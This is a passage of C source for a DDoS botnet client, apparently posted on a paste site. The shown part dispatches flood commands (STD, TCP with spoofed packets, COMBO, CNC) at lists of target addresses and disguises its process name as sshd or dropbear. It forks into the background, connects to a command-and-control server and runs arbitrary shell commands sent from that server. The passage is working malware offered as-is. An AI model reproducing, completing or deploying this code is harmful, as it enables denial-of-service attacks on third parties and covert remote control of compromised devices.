  2490. int port = atoi(argv[2]);
  2491. int time = atoi(argv[3]);
  2492. if(strstr(ip, ",") != NULL)
  2493. {
  2494. unsigned char *hi = strtok(ip, ",");
  2495. while(hi != NULL)
  2496. {
  2497. if(!listFork())
  2498. {
  2499. sendCNC(hi, port, time);
  2500. close(D1ckSucka);
  2501. _exit(0);
  2502. }
  2503. hi = strtok(NULL, ",");
  2504. }
  2505. } else {
  2506. if (listFork()) { return; }
  2507. sendCNC(ip, port, time);
  2508. _exit(0);
  2509. }
  2510. }
  2511. if(!strcmp(argv[0], "COMBO"))
  2512. {
  2513. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2514. {
  2515. return;
  2516. }
  2517. unsigned char *ip = argv[1];
  2518. int port = atoi(argv[2]);
  2519. int time = atoi(argv[3]);
  2520. if(strstr(ip, ",") != NULL)
  2521. {
  2522. unsigned char *hi = strtok(ip, ",");
  2523. while(hi != NULL)
  2524. {
  2525. if(!listFork())
  2526. {
  2527. sendJUNK(hi, port, time);
  2528. sendSTD(hi, port, time);
  2529. sendHOLD(hi, port, time);
  2530. close(D1ckSucka);
  2531. _exit(0);
  2532. }
  2533. hi = strtok(NULL, ",");
  2534. }
  2535. } else {
  2536. if (listFork()) { return; }
  2537. sendJUNK(ip, port, time);
  2538. sendSTD(ip, port, time);
  2539. sendHOLD(ip, port, time);
  2540. _exit(0);
  2541. }
  2542. }
  2543. if(!strcmp(argv[0], "STD"))
  2544. {
  2545. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2546. {
  2547. return;
  2548. }
  2549. unsigned char *ip = argv[1];
  2550. int port = atoi(argv[2]);
  2551. int time = atoi(argv[3]);
  2552. if(strstr(ip, ",") != NULL)
  2553. {
  2554. unsigned char *hi = strtok(ip, ",");
  2555. while(hi != NULL)
  2556. {
  2557. if(!listFork())
  2558. {
  2559. sendSTD(hi, port, time);
  2560. _exit(0);
  2561. }
  2562. hi = strtok(NULL, ",");
  2563. }
  2564. } else {
  2565. if (listFork()) { return; }
  2566. sendSTD(ip, port, time);
  2567. _exit(0);
  2568. }
  2569. }
  2570. if(!strcmp(argv[0], "TCP"))
  2571. {
  2572. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2573. {
  2574. return;
  2575. }
  2576. unsigned char *ip = argv[1];
  2577. int port = atoi(argv[2]);
  2578. int time = atoi(argv[3]);
  2579. int spoofed = atoi(argv[4]);
  2580. unsigned char *flags = argv[5];
  2581. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2582. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2583. if(strstr(ip, ",") != NULL)
  2584. {
  2585. unsigned char *hi = strtok(ip, ",");
  2586. while(hi != NULL)
  2587. {
  2588. if(!listFork())
  2589. {
  2590. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2591. _exit(0);
  2592. }
  2593. hi = strtok(NULL, ",");
  2594. }
  2595. } else {
  2596. if (listFork()) { return; }
  2597. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2598. _exit(0);
  2599. }
  2600. }
  2601. if(!strcmp(argv[0], "STOP"))
  2602. {
  2603. int killed = 0;
  2604. unsigned long i;
  2605. for (i = 0; i < numpids; i++) {
  2606. if (pids[i] != 0 && pids[i] != getpid()) {
  2607. kill(pids[i], 9);
  2608. killed++;
  2609. }
  2610. }
  2611. }
  2612. if(!strcmp(argv[0], "HOODASSSHIT"))
  2613. {
  2614. exit(0);
  2615. }
  2616. }
  2617. int initConnection()
  2618. {
  2619. unsigned char server[4096];
  2620. memset(server, 0, 4096);
  2621. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2622. if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
  2623. else D1ckSuckaz++;
  2624. strcpy(server, hekkertelnet[D1ckSuckaz]);
  2625. int port = Server_Botport;
  2626. if(strchr(server, ':') != NULL)
  2627. {
  2628. port = atoi(strchr(server, ':') + 1);
  2629. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2630. }
  2631. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2632. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2633. return 0;
  2634. }
  2635. int getOurIP()
  2636. {
  2637. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2638. if(sock == -1) return 0;
  2639. struct sockaddr_in serv;
  2640. memset(&serv, 0, sizeof(serv));
  2641. serv.sin_family = AF_INET;
  2642. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2643. serv.sin_port = htons(53);
  2644. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2645. if(err == -1) return 0;
  2646. struct sockaddr_in name;
  2647. socklen_t namelen = sizeof(name);
  2648. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2649. if(err == -1) return 0;
  2650. ourIP.s_addr = name.sin_addr.s_addr;
  2651. int cmdline = open("/proc/net/route", O_RDONLY);
  2652. char linebuf[4096];
  2653. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2654. {
  2655. if(strstr(linebuf, "\t00000000\t") != NULL)
  2656. {
  2657. unsigned char *pos = linebuf;
  2658. while(*pos != '\t') pos++;
  2659. *pos = 0;
  2660. break;
  2661. }
  2662. memset(linebuf, 0, 4096);
  2663. }
  2664. close(cmdline);
  2665. if(*linebuf)
  2666. {
  2667. int i;
  2668. struct ifreq ifr;
  2669. strcpy(ifr.ifr_name, linebuf);
  2670. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2671. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2672. }
  2673. close(sock);
  2674. }
  2675. char *getBuild()
  2676. {
  2677. if(access("/usr/bin/python", F_OK) != -1){
  2678. return "SERVER";
  2679. } else {
  2680. return "ROUTER";
  2681. }
  2682. }
  2683. int main(int argc, unsigned char *argv[])
  2684. {
  2685. char *mynameis = "";
  2686. if(access("/usr/bin/python", F_OK) != -1){
  2687. mynameis = "sshd";
  2688. } else {
  2689. mynameis = "/usr/sbin/dropbear";
  2690. }
  2691. if(geteuid() == 0){
  2692. userID = 0;
  2693. }
  2694. char *Buildz = getBuild();
  2695. if(Buildz == "SERVER")
  2696. {
  2697. //If python is installed
  2698. } else {
  2699. //If python is not installed
  2700. }
  2701. if(SERVER_LIST_SIZE <= 0) return 0;
  2702. printf("BUILD %s:%s\n", getBuild(), inet_ntoa(ourIP));
  2703. strncpy(argv[0],"",strlen(argv[0]));
  2704. sprintf(argv[0], mynameis);
  2705. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2706. srand(time(NULL) ^ getpid());
  2707. init_rand(time(NULL) ^ getpid());
  2708. pid_t pid1;
  2709. pid_t pid2;
  2710. int status;
  2711. getOurIP();
  2712. if (pid1 = fork()) {
  2713. waitpid(pid1, &status, 0);
  2714. exit(0);
  2715. } else if (!pid1) {
  2716. if (pid2 = fork()) {
  2717. exit(0);
  2718. } else if (!pid2) {
  2719. } else {
  2720. //N
  2721. }
  2722. } else {
  2723. //N
  2724. }
  2725. setsid();
  2726. chdir("/");
  2727. signal(SIGPIPE, SIG_IGN);
  2728. while(1)
  2729. {
  2730. if(initConnection()) { sleep(5); continue; }
  2731. HackerPrint(D1ckSucka, "\x1b[1;36m Daddy Bot Connected \x1b[1;31m| \x1b[1;37mIP: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mType: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mVersion: \x1b[1;35m%s", inet_ntoa(ourIP), getBuild(), VERSION);
  2732. char commBuf[4096];
  2733. int got = 0;
  2734. int i = 0;
  2735. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2736. {
  2737. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2738. unsigned int *newpids, on;
  2739. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2740. pids[on - 1] = 0;
  2741. numpids--;
  2742. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2743. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2744. free(pids);
  2745. pids = newpids;
  2746. }
  2747. commBuf[got] = 0x00;
  2748. trim(commBuf);
  2749. if(strstr(commBuf, "PING") == commBuf)
  2750. {
  2751. HackerPrint(D1ckSucka, "PONG");
  2752. continue;
  2753. }
  2754. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2755. unsigned char *message = commBuf;
  2756. if(*message == '!')
  2757. {
  2758. unsigned char *nickMask = message + 1;
  2759. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2760. if(*nickMask == 0x00) continue;
  2761. *(nickMask) = 0x00;
  2762. nickMask = message + 1;
  2763. message = message + strlen(nickMask) + 2;
  2764. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2765. unsigned char *command = message;
  2766. while(*message != ' ' && *message != 0x00) message++;
  2767. *message = 0x00;
  2768. message++;
  2769. unsigned char *tmpcommand = command;
  2770. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2771. if(strcmp(command, "") == 0)
  2772. {
  2773. unsigned char buf[1024];
  2774. int command;
  2775. if (listFork()) continue;
  2776. memset(buf, 0, 1024);
  2777. szprintf(buf, "%s 2>&1", message);
  2778. command = fdpopen(buf, "r");
  2779. while(fdgets(buf, 1024, command) != NULL)
  2780. {
  2781. trim(buf);
  2782. memset(buf, 0, 1024);
  2783. sleep(1);
  2784. }
  2785. fdpclose(command);
  2786. exit(0);
  2787. }
  2788. unsigned char *params[10];
  2789. int paramsCount = 1;
  2790. unsigned char *pch = strtok(message, " ");
  2791. params[0] = command;
  2792. while(pch)
  2793. {
  2794. if(*pch != '\n')
  2795. {
  2796. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2797. memset(params[paramsCount], 0, strlen(pch) + 1);
  2798. strcpy(params[paramsCount], pch);
  2799. paramsCount++;
  2800. }
  2801. pch = strtok(NULL, " ");
  2802. }
  2803. processCmd(paramsCount, params);
  2804. if(paramsCount > 1)
  2805. {
  2806. int q = 1;
  2807. for(q = 1; q < paramsCount; q++)
  2808. {
  2809. free(params[q]);
  2810. }
  2811. }
  2812. }
  2813. }
  2814. }
  2815. return 0;
  2816. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement